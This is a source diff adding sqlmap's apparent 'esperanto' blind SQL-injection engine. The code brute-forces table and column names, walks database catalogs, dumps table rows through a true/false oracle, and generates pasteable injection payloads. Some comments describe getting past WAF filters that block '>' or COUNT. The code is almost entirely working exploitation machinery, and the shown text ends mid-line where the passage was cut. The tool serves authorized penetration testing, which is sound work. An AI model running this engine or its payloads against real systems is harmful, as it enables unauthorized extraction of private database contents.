/dev/null +++ b/extra/esperanto/enumeration.py @@ -0,0 +1,613 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import * +from .records import * +from .wordlist import commonColumns +from .wordlist import commonTables + +_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away +# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump) +_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax")) + + +class _Enumeration(object): + """_Enumeration + + catalog walking + data dump: enumerate / columns / dump / bulk + row selection. + When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the + table/column listings fall back to brute-forcing common names (bruteTables / + bruteColumns) so extraction works with zero schema knowledge.""" + + def enumerate(self, kind="table", limit=10, schema=None): + """Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect + row limiter needed, and cost scales with `limit`, not catalog size. `schema` + scopes tables to one database. Falls back to brute-forcing common table names + when the catalog is unavailable/empty. For a full dump prefer enumerateBulk.""" + names = None + if kind in self.dialect.catalogEnum and self._canPage: + names = self.enumerateKeyset(kind, limit, schema) + if not names and kind == "table": + names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names + return names + + @property + def _canPage(self): + # keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with + # neither, the catalog walk can't advance past the first row -> use brute-force + return self._comparator in ("gt", "between") or self._inOk + + def bruteTables(self, limit=50, schema=None): + """No/unreadable catalog: discover tables by existence-probing common names + (COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know + nothing about the schema' fallback, akin to sqlmap's --common-tables.""" + self.dialect.notes.append("catalog unavailable - brute-forcing common table names") + found, tries = [], 0 + for name in commonTables(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + tries += 1 + qname = self.quoteIdent(name) + if schema is not None: + qname = "%s.%s" % (self.quoteIdent(schema), qname) + try: + if self._exists(qname): + found.append(name) + self._emit(name) + except OracleUndecided: + break # oracle wall - stop, keep what we have + return found + + def bruteColumns(self, table, schema=None, limit=100): + """No/unreadable column catalog: discover columns of `table` by existence- + probing common names (COUNT(col) succeeds -> the column exists).""" + qtable = self.quoteIdent(table) + if schema is not None: + qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + found, tries = [], 0 + for col in commonColumns(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns + continue + tries += 1 + try: + # probe the column BARE (not quoted): a nonexistent bare column errors, + # whereas a double-quoted unknown is silently taken as a STRING LITERAL + # on SQLite -> would pass every fake name. COUNT-free (WAF may filter it). + if self._exists(qtable, col): + found.append(col) + self._emit(col) + except OracleUndecided: + break + if found: + self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found)) + return found + + def _source(self, kind, schema=None): + col, src, filt = self.dialect.catalogEnum[kind] + clauses = [filt] if filt else [] + if schema is not None and "schema" in self.dialect.catalogEnum: + scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname + clauses.append("%s=%s" % (scol, self.buildLiteral(schema))) + return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "") + + def enumerateKeyset(self, kind, limit=10, schema=None): + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind, schema) + return self._keysetWalk(col, src, where, limit) + + def _keysetWalk(self, col, src, where, limit): + # page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row + # limiter needed. the FIRST query is unbounded (a space/'' seed would skip + # identifiers sorting below it). the DB does the ordering in its own + # collation; Python only tests EXACT repetition (collation-invariant) - never + # a Python `<=` ordering test. + conj = " AND " if where else " WHERE " + names, prev = [], None + while len(names) < limit: + if prev is None: + expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where) + else: + beyond = self._beyondSql(col, prev, "text", seen=names) + if beyond is None: # no ordered comparator, no IN -> can't page + self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)") + break + expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond) + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget + # probe (permission or charset wall) stops the listing with what we have + try: + if not self._ask("%s IS NOT NULL" % expr): + break + name = self.extract(expr) + except OracleUndecided: + self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)") + break + if not name or name == prev: + break + names.append(name) + self._emit(name) # live feedback per discovered name + if _REPL in name: + # an unrecoverable char in the name can't form a reliable keyset bound; + # stop rather than loop on a corrupt (or repeating) boundary + self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name) + break + prev = name + return names + + def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None): + # SQL fragment picking the next un-taken row for keyset paging, honoring the + # discovered comparator so paging survives a blocked '>'. '>' pages by "sorts + # after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages + # text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges + # any collation/sentinel guesswork). Returns None when none of these is possible + # - the caller then stops with the rows it already has. + lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND) + if self._comparator == "gt": + bound = prev if unit == "int" else lit(prev) + return "%s>%s" % (expr, bound) + if self._comparator == "between" and unit == "int": + return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev) + if self._inOk and seen: + lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen) + return "%s NOT IN (%s)" % (expr, lits) + return None + + def hasTable(self, table, schema=None): + """Does `table` (optionally in `schema`) resolve? COUNT-free existence.""" + q = self.quoteIdent(table) + if schema: + q = "%s.%s" % (self.quoteIdent(schema), q) + try: + return self._exists(q) + except OracleUndecided: + return False + + def tableSchema(self, table): + """Resolve which schema a table actually lives in, from the catalog. PG-family + tables are commonly in 'public' while current_schema() is the login user's own + (empty) schema, so scoping to the current schema misses them. Returns the schema + name, or None if the catalog has no schema concept or the table isn't found.""" + ce = self.dialect.catalogEnum + if "schema" not in ce or "table" not in ce: + return None + schemacol = ce["schema"][0] + namecol, source = ce["table"][0], ce["table"][1] + # prefer a non-system schema (a system table could share the name) + excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema", + "SYS", "INFORMATION_SCHEMA", "pg_toast") + notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl)) + for tail in (notsys, ""): + expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail) + try: + if self._ask("%s IS NOT NULL" % expr): + return self.extract(expr) + except OracleUndecided: + break + return None + + def quoteIdent(self, name): + """Quote a target-supplied identifier (table/column) so reserved words, + spaces, dots, or embedded quote chars are referenced safely. A name is an + IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no + quoting style was discovered.""" + q = self.dialect.identQuote + if not q: + return name + return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1]) + + def _ensureQuoting(self, table): + # discover the identifier-quote style using the (known-present) table: + # the wrong quote char makes SELECT ... FROM error -> reject + if self.dialect.identQuote is not None or self.dialect.identQuote is False: + return self.dialect.identQuote or None + with self._probePhase(): # a wrong quote char makes FROM error -> "unusable", not undecided + for open_q, close_q in _IDENT_QUOTE: + quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q) + if self._exists(quoted): + self.dialect.identQuote = (open_q, close_q) + return self.dialect.identQuote + self.dialect.identQuote = False # sentinel: probed, none worked + return None + + def columns(self, table, schema=None, limit=50): + """Enumerate a table's column names (keyset), optionally scoped to `schema` + (so identically-named tables in different schemas don't merge columns). Falls + back to brute-forcing common column names when no column catalog is usable.""" + names = None + spec = _COLUMN_SPECS.get(self.dialect.catalog) + if spec and self._canPage: + col, source, wheretmpl = spec[0], spec[1], spec[2] + ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column + schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column + lit = self.buildLiteral(table) + filt = (wheretmpl % lit) if wheretmpl else "" + if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema) + filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema)) + elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter + filt += " AND table_schema=%s" % self.buildLiteral(schema) + elif schema is not None and "TABLE_NAME" in (wheretmpl or ""): + filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema) + where = (" WHERE %s" % filt) if filt else "" + # pragma_table_info(%s) takes the table in the source itself + source = source % lit if "%s" in source else source + names = self._keysetWalk(col, source, where, limit) + if names and ordcol: + names = self._orderByOrdinal(names, col, source, filt, ordcol) + if not names: + names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names + return names + + def _orderByOrdinal(self, names, namecol, source, filt, ordcol): + # reorder the enumerated columns by their catalog ordinal so a dump matches the + # table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per + # column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes. + keyed = [] + for n in names: + cond = "%s=%s" % (namecol, self.buildLiteral(n)) + if filt: + cond = "%s AND %s" % (filt, cond) + try: + o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond)) + except (OracleUndecided, OverflowError): + o = None + keyed.append((o if o is not None else 1 << 30, n)) + return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))] + + def _discoverKey(self, table, schema=None): + # a primary/unique key column, preferred over a physical rowid. keyset needs + # MIN() over it and a `> prev` bound, both of which a key column supports. + spec = _KEY_SPECS.get(self.dialect.catalog) + if not spec: + return None + source, tcol, ncol, extra = spec + filt = "%s=%s" % (tcol, self.buildLiteral(table)) + if schema is not None: + filt += " AND table_schema=%s" % self.buildLiteral(schema) + if extra: + filt += " AND %s" % extra + # take the alphabetically-first key column (deterministic); a compound key + # still yields a usable ordering column for the walk + keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt) + with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal + present = self._ask("%s IS NOT NULL" % keyexpr) + if present: + name = self.extract(keyexpr) + if name: + return name + return None + + def columnType(self, expr): + """Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED + engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column + errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0 + so SUM succeeds - there the hint is unreliable and returns 'unknown' when it + can't tell. Not a substitute for reading the catalog's declared type.""" + sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr)) + if not sums: + return "text" # SUM errored -> definitely not numeric + # SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a + # cheap non-digit check on the first char (via the discovered substring) + try: + one = self._sub(self._resolveText(expr), 1, 1) + if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one): + return "numeric" + except Exception: + pass + return "unknown" + + def _classifyUnit(self, keyexpr, qtable): + # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque + # text (extract + literal bound) + q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable) + if self._comparator == "between": + # numeric range holds only for a number (text sorts outside it in SQL) + if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q): + return "int" + elif self._comparator == "gt": + if self._ask("%s>=0" % q) or self._ask("%s<0" % q): + return "int" + return "text" # membership/undecided: safe to treat as literal-bound text + + def _discoverRowid(self, qtable): + # find a MIN-aggregatable physical row identifier for the (already-quoted) + # table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text). + # each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL, + # ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump + with self._probePhase(): + for name, tmpl, _unit in _ROWID: + rid = tmpl % qtable if "%s" in tmpl else tmpl + if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)): + continue + unit = self._classifyUnit(rid, qtable) + # a physical row-id used as a keyset must be a sane NON-NEGATIVE int; + # Informix's `rowid` reads as a bogus negative here -> reject it and fall + # through to the value-keyset walk rather than feed extractInteger garbage + if unit == "int" and self._comparator == "gt" and \ + not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)): + continue + return Cap(name, rid, unit=unit) + return None + + def _walkKey(self, qtable, table, schema): + # ordering key, best-first: primary/unique key -> physical row-id -> value. + # returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset + # comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral). + key = self._discoverKey(table, schema) + if key: + kexpr = self.quoteIdent(key) + return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral + rid = self._discoverRowid(qtable) + if rid is not None: + boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral + return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn + return None, None, "value", self.buildLiteral + + def _rowPayload(self, cols): + # one hex-framed, NULL-PRESERVING token per column, joined by ','. token + # grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty + # string). the marker is required because COALESCE(col,'') collapses NULL and + # empty - and on Oracle the '' fallback is itself NULL. needs hex framing. + if not self._ensureHexfn() or not self.dialect.concat: + return None, False # can't frame a whole row -> caller scavenges cell-by-cell + parts = [] + for c in cols: + qc = self.quoteIdent(c) # column names are identifiers, not raw SQL + # text-cast before hex so a numeric/date column yields its TEXT form, not + # DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001) + text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc + marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text)) + parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked)) + interleaved = [parts[0]] + for p in parts[1:]: + interleaved.append("','") # the ',' row-token delimiter + interleaved.append(p) + return self._concatMany(interleaved), True # flat when concat is variadic + + def _cellRow(self, qtable, cols, where): + # SCAVENGER row read: pull each column on its own. A single value needs no comma/ + # marker framing (so no concat) and its NULL is detected directly (so no hex 'N' + # sentinel) - this is how a dump still works on a back-end that can neither + # concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves. + row = [] + for c in cols: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where)) + if not res.complete: + return None, False + row.append(res.value) + return row, True + + def _splitRow(self, data, ncols): + # returns (row, valid); a malformed token count/marker means invalid, never + # a silently padded/truncated plausible row + if data is None: + return None, False + toks = data.split(",") + if len(toks) != ncols: + return None, False + enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None + vals = [] + for t in toks: + if t == "N": + vals.append(None) + elif t == "V": + vals.append("") + elif t.startswith("V"): + v = self._decodeHexToken(t[1:], enc) + if v is None: + return None, False + vals.append(v) + else: + return None, False + return vals, True + + def dump(self, table, columns=None, schema=None, limit=10): + """Extract actual ROW DATA. Table/column names are treated as quoted + IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked + by a primary/unique KEY when discoverable, else a physical row-id, else the + row's own value (distinct-only); each row is one hex-framed, NULL-preserving, + text-cast extraction. Completeness is checked against COUNT(*). Returns + {columns, rows, complete, keyed_by}.""" + self._ensureQuoting(table) + qtable = self.quoteIdent(table) + if schema is not None: + qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + cols = columns or self.columns(table, schema) + if not cols: + return None + payload, framed = self._rowPayload(cols) + if not framed: # no hex/concat to frame a whole row + self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table) + try: + expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + except OracleUndecided: + expected = None + if expected == 0: + return {"columns": cols, "rows": [], "complete": True, "keyed_by": None} + keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema) + rows, ok = [], True + + def readrow(where): + # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. + # if the framed whole-row read doesn't verify (some engines choke on the big + # nested CONCAT or its verification, e.g. SQL Server), degrade to reading each + # cell on its own rather than dropping the row + if framed: + try: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES) + if res.complete: + return self._splitRow(res.value, len(cols)) + except OracleUndecided: + pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell + return self._cellRow(qtable, cols, where) + + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe + # (permission or charset wall) stops with whatever rows were recovered + try: + if keyexpr is not None: # key / row-id keyset (preferred) + prev, keys = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where) + key = self.extractInteger(ke) if unit == "int" else self.extract(ke) + if key is None or key == "" or key == prev: + break + bound = key if unit == "int" else boundfn(key) + row, valid = readrow("%s=%s" % (keyexpr, bound)) + if not valid: # a truncated/invalid cell != complete row + ok = False + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + prev = key + keys.append(key) # for order-free NOT IN() paging + else: # value keyset (distinct rows only) + ok = False # exact-duplicate rows collapse + self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table) + pageexpr = payload if framed else self.quoteIdent(cols[0]) + # the framed page-key is text; a bare first-column page-key may be numeric, + # and a numeric column MUST be read via extractInteger + a numeric bound - a + # text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage + # bound ("id=' '") that matches no row (dump silently returns 0 entries) + pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable) + prev, seen = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + if framed: + res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES) + pv, valid = res.value, res.complete + row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False) + valid = valid and ok2 + elif pageunit == "int": # numeric first column: read + bound as a number + pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False) + else: # page on the first (text) column, read cells under it + pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False) + if pv is None or pv == "" or pv == prev or not valid: + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL + break + prev = pv + seen.append(pv) # for order-free NOT IN() paging + except (OracleUndecided, OverflowError): + # degrade, never crash: an undecided oracle (permission/charset wall) or a + # bogus key that overflows extractInteger stops the walk with partial rows + self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table) + ok = False + # complete only if every row extracted cleanly AND we got them all + complete = ok and expected is not None and len(rows) == expected + return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by} + + def poc(self, expr, position=1, gt=64): + """Emit a clean, pasteable boolean payload for ONE probe (the exploitation + primitive), so a tester can drop it into Burp without re-running discovery.""" + one = self._sub(expr, position, 1) + if self.dialect.compare == "code" and self.dialect.charcode: + return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt) + if self.dialect.compare == "hex" and self.dialect.hexfn: + return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt) + if self.dialect.compare == "collation" and self.dialect.binwrap: + w = self.dialect.binwrap[1] + return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt)))) + if self.dialect.compare in ("equality", "equality-ci"): + # equality mode was chosen BECAUSE ordering isn't trustworthy - don't + # fabricate a `>` predicate the target's collation may not honour + raise RuntimeError("ordered PoC unavailable in equality-only compare mode") + return "%s>%s" % (one, self._lit(chr(gt))) + + def strategy(self): + """Freeze the discovered dialect into an immutable InferenceStrategy - the + hand-off artifact for a host inference engine (see hostExtract). Ensures the + hex fn and quoting/backslash flags are resolved before freezing.""" + d = self.dialect + if not self._discovered: + self.discover() + self._ensureHexfn() + self._lit("x") # resolve backslash-escape flag + return InferenceStrategy( + product=d.product or d.family, family=d.family, compare_mode=d.compare, + catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes), + substring=(d.substring[1] if d.substring else None), + index_base=(d.substring.get("index_base", 1) if d.substring else 1), + length=(d.length[1] if d.length else None), + charcode=(d.charcode[1] if d.charcode else None), + charcode_sem=(d.charcode.get("semantics") if d.charcode else None), + hexfn=(d.hexfn[1] if d.hexfn else None), + binwrap=(d.binwrap[1] if d.binwrap else None), + charfrom=(d.charfrom[1] if d.charfrom else None), + concat=(d.concat[1] if d.concat else None), + identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None), + backslash=bool(self._backslashEscape)) + + def enumerateBulk(self, kind, maxchars=4096, encoding=None): + """One-shot full dump: aggregate the whole column into one delimited string + and extract it once. When a hex function exists each value is HEX-encoded + before aggregation, so the ',' delimiter is unambiguous (a comma can't occur + in a hex token) and any charset survives; otherwise raw values are joined + (comma-ambiguous, noted). Completeness is checked against an independent + COUNT(DISTINCT). Returns a BulkResult (list-like).""" + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind) + # independent COUNT FIRST - so a single empty-string row isn't mistaken for + # an empty catalog (the aggregate of one '' can look like no rows) + expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where)) + if expected == 0: + return BulkResult([], expected=0, complete=True) + if not self._ensureHexfn(): # delimiter safety needs hex + self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind) + return None + # 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a + # NULL aggregate over zero rows) + aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col)) + if self.dialect.bulkAgg is None: + self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where) + if not self.dialect.bulkAgg: + return None + agg = self.dialect.bulkAgg[1].format(col=aggcol) + res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars) + joined = res.value + if joined is None: + return BulkResult([], expected=expected, complete=False) + tokens = joined.split(",") + if res.truncated and tokens: # last token may be partial + tokens = tokens[:-1] + names, seen = [], set() + for t in tokens: + if not t.startswith("V"): + continue + v = self._decodeHexToken(t[1:], encoding) + if v is not None and v not in seen: # dedupe (non-unique columns repeat) + seen.add(v) + names.append(v) + complete = (not res.truncated) and expected is not None and len(names) == expected + if expected is not None and len(names) != expected: + self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected)) + return BulkResult(names, expected=expected, complete=complete) + + def _discoverBulkAgg(self, col, src, where): + for name, tmpl in _BULK_AGG: + agg = tmpl.format(col=col) + if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)): + return Cap(name, tmpl) + return None diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py new file mode 100644 index 00000000000..db5ea6dfef9 --- /dev/null +++ b/extra/esperanto/extraction.py @@ -0,0 +1,685 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import * +from .records import * + + +class _Extraction(object): + """_Extraction + + turn the discovered dialect into VALUES: length, char reading, literals, hex, + the public extract*/read* API, and the LIKE pattern-match floor.""" + + def _charExists(self, expr, pos): + # is there a real character at 1-based `pos`? derived from the substring's + # measured end behavior - the basis for length when no length fn exists. + one = self._sub(expr, pos, 1) + if self.dialect.substring.get("beyond_end") == "null-or-error": + return self._ask("%s IS NOT NULL" % one) + return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one) + + def _measureLengthSub(self, expr, ceiling): + # length via substring: find the largest position that still holds a char. + # mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char + # exists at N+1), for backends with substring but no length fn. + if not self._charExists(expr, 1): + return (None if self._ask("(%s) IS NULL" % expr) else 0), False + if self._charExists(expr, ceiling + 1): + return ceiling, True + low, high = 1, min(8, ceiling) + while high < ceiling and self._charExists(expr, high + 1): + low = high + 1 + high = min(high * 2, ceiling) + while low < high: + mid = (low + high) // 2 + if self._charExists(expr, mid + 1): + low = mid + 1 + else: + high = mid + return low, False + + def _hasChars(self, expr): + # non-empty existence check that works with either a length fn or substring + if self.dialect.length is not None: + lexpr = self._len(expr) + return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr) + if self.dialect.substring is not None: + return self._charExists(expr, 1) + return False + + def _lenEquals(self, expr, n): + # exact-length corroboration used in discovery, length-fn or substring-derived + if self.dialect.length is not None: + return self._ask("%s=%d" % (self._len(expr), n)) + if self.dialect.substring is not None: + return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n + return False + + def _measureLength(self, expr, ceiling=None): + """Return (length, truncated) - no shared per-call state, and a separate + `ceiling` so hex/byte pulls can be capped independently of maxlen.""" + ceiling = self.maxlen if ceiling is None else ceiling + if self.dialect.length is None: + return self._measureLengthSub(expr, ceiling) + lexpr = self._len(expr) + if not self._numDefined(lexpr): + return None, False + if self._ask("%s=0" % lexpr): + return 0, False + if ceiling < 1: # non-empty value but capped to nothing (maxlen=0) + return 0, True + n = self._readNum(lexpr, 1, ceiling) + return n, n >= ceiling # at the cap -> treat as (possibly) truncated + + def valueLength(self, expr): + length, truncated = self._measureLength(expr) + self._lastTruncated = truncated + return length + + def _literalVariants(self, value): + # spellings to try for exact char verification; SQL Server & others need an + # N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate + yield self._lit(value) + if any(ord(c) > 127 for c in value): + yield "N%s" % self._lit(value) + + def _exactCharEquals(self, expr, value): + return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value)) + + def _lit(self, ch): + # double single quotes always; also double backslashes on engines that treat + # '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break + # the literal and silently corrupt the probe + if self._backslashEscape is None: + self._backslashEscape = (self.dialect.length is not None + and self._ask("%s=1" % self._len("'\\\\'"))) + s = ch.replace("\\", "\\\\") if self._backslashEscape else ch + return _native("'%s'" % s.replace("'", "''")) + + def _bisectCharset(self, greater): + # greater(c) -> is the source char strictly greater than charset char c? + cs = _PRINTABLE_SORTED + lo, hi = 0, len(cs) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if greater(cs[mid]): + lo = mid + 1 + else: + hi = mid + return cs[lo] + + def _gtNum(self, expr, n, high): + # "is `expr` > n?" via the discovered comparator (high = current upper bound). + # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. + if self._comparator == "between": + return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) + return self._ask("%s>%d" % (expr, n)) + + def _numDefined(self, expr): + # value is a defined (non-NULL) number - validity gate that needs no '>' + return self._ask("(%s) IS NOT NULL" % expr) + + def _readNum(self, expr, lo, hi): + # bounded numeric read in [lo, hi]. ordered comparators bisect (exponential + # first so a small value in a big range stays cheap); the order-free path + # scans fixed windows then IN-bisects inside the hit window (IN lists bounded). + if self._comparator != "membership": + low, high = lo, min(max(lo, 8), hi) + while high < hi and self._gtNum(expr, high, hi): + low, high = high + 1, min(high * 2, hi) + while low < high: + mid = (low + high) // 2 + if self._gtNum(expr, mid, hi): + low = mid + 1 + else: + high = mid + return low + if self._inOk: + window = 128 + base = lo + while base <= hi: + win = list(range(base, min(base + window, hi + 1))) + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))): + while len(win) > 1: + half = win[:len(win) // 2] + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))): + win = half + else: + win = win[len(win) // 2:] + return win[0] + base += window + return hi + # no ordered op and no IN: plain '=' scan (bounded by hi; small values first) + for v in range(lo, hi + 1): + if self._ask("%s=%d" % (expr, v)): + return v + return hi + + def _bisectCodes(self, code, codes): + # ordered bisection over a sorted code list (restricted alphabet) + lo, hi = 0, len(codes) - 1 + top = codes[hi] + while lo < hi: + mid = (lo + hi) // 2 + if self._gtNum(code, codes[mid], top): + lo = mid + 1 + else: + hi = mid + return codes[lo] + + def _bisectCodeRange(self, code): + # general dynamic-range bisection - a real code-point fn can far exceed 255, + # so find the tight upper bound first, then bisect + high = _UNICODE_MAX + for cap in (127, 255, 0xFFFF, _UNICODE_MAX): + if not self._gtNum(code, cap, _UNICODE_MAX): + high = cap + break + low = 0 + while low < high: + mid = (low + high) // 2 + if self._gtNum(code, mid, high): + low = mid + 1 + else: + high = mid + return low + + def _pickCode(self, code, codes): + # order-free code selection when there's no ordered comparator: IN() subset + # bisection if available, else a plain '=' scan (last resort, no '<>' needed) + if self._inOk: + return self._membershipCode(code, codes) + for c in codes: + if self._ask("%s=%d" % (code, c)): + return c + return None + + def _membershipCode(self, code, codes): + # ORDER-FREE subset bisection: split the candidate code list in half and test + # `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN + # and collation quirks. ~log2(n) probes. Returns the matched code, or None + # when the char is outside `codes` (caller escalates to hex / marks it). + if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))): + return None + cand = list(codes) + while len(cand) > 1: + half = cand[:len(cand) 